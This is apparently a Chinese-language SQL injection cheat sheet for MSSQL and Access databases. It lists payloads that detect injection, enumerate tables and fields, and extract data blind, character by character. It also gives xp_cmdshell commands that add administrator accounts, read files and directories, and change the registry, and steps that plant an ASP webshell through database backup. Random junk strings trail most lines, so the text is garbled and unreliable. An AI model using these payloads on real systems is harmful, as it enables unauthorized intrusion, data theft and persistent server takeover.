1.判断是否有注入;and 1=1 ;and 1=2 'kC#GTZi
2.初步判断是否是mssql ;and user>0 PI`Y%! P
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3.注入参数是字符'and [查询条件] and ''=' >4kQ9lXL
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' r2'K'?T3
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5.判断数据库系统 L?j<KW
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;and (select count(*) from sysobjects)>0 mssql 41Q)w=hoN
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;and (select count(*) from msysobjects)>0 access S,Q^M
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 X@tA+
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ocK4Nxs
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -=8f*K[W
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9.(1)猜字段的ascii值(access) lemV&$WN|
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 *WJK&
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(2)猜字段的ascii值(mssql) Vq`/]&
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 cl&?'`
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10.测试权限结构(mssql) t g-(e=S4P
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- M!!vr8}
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- N5=}0s]e
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- w_@{v wM$A
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .-&
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ps,Kj3^T<
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- tB`"gC~
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;and 1=(select IS_MEMBER('db_owner'));-- <b_K*]Z
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11.添加mssql和系统的帐户 @g;DA)!(
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;exec master.dbo.sp_addlogin username;-- }93FWo.
;exec master.dbo.sp_password null,username,password;-- eX"Ecl{
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- pxedj
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;exec master.dbo.xp_cmdshell 'net user username password S[/udA
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- US9aW)8
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- wG)[Ik6:
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- uTrzC+\aU
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12.(1)遍历目录 uBg#zx
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;create table dirs(paths varchar(100), id int) k$J!,!q
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;insert dirs exec master.dbo.xp_dirtree 'c:\' V62lN<M
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;and (select top 1 paths from dirs)>0 Wrp+B[{r\
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) d`$w3Hy
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(2)遍历目录 u6l)s0Q
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- KOXG=P0
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 0~WXA=XG
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 `H*mQERb
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 tK *y/S
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 knV*,
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13.mssql中的存储过程 ax;<idC}
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xp_regenumvalues 注册表根键, 子键 \j wxW6>
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 DyZ6&*s$
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xp_regread 根键,子键,键值名 :cXN
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;exec xp_regread 7AGUi+!ICl
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ".#h$
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xp_regwrite 根键,子键, 值名, 值类型, 值 ttlMZLX{TJ
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 eUR+j?5I
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 !-%%94 Q
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xp_regdeletevalue 根键,子键,值名 152s<lu1Z
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 4u41M,nJQd
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 En&gI`3n
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14.mssql的backup创建webshell unz~vG1Tn
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use model U-,s/VQ?
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create table cmd(str image); tBl(E
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insert into cmd(str) values (''); >T0`( #Lm
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backup database model to disk='c:\l.asp'; Hm|N{
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15.mssql内置函数 i?eVi
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;and (select @@version)>0 获得Windows的版本号 UYW'pV
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa pY\=f0]
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;and (select user_name())>0 爆当前系统的连接用户 @" umY-1f
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;and (select db_name())>0 得到当前连接的数据库 -m
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16.简洁的webshell a <F2]H=J
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use model X2:23j<
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create table cmd(str image); 91q
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insert into cmd(str) values (''); b8vZ^8tBV
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backup database model to disk='g:\wwwtest\l.asp';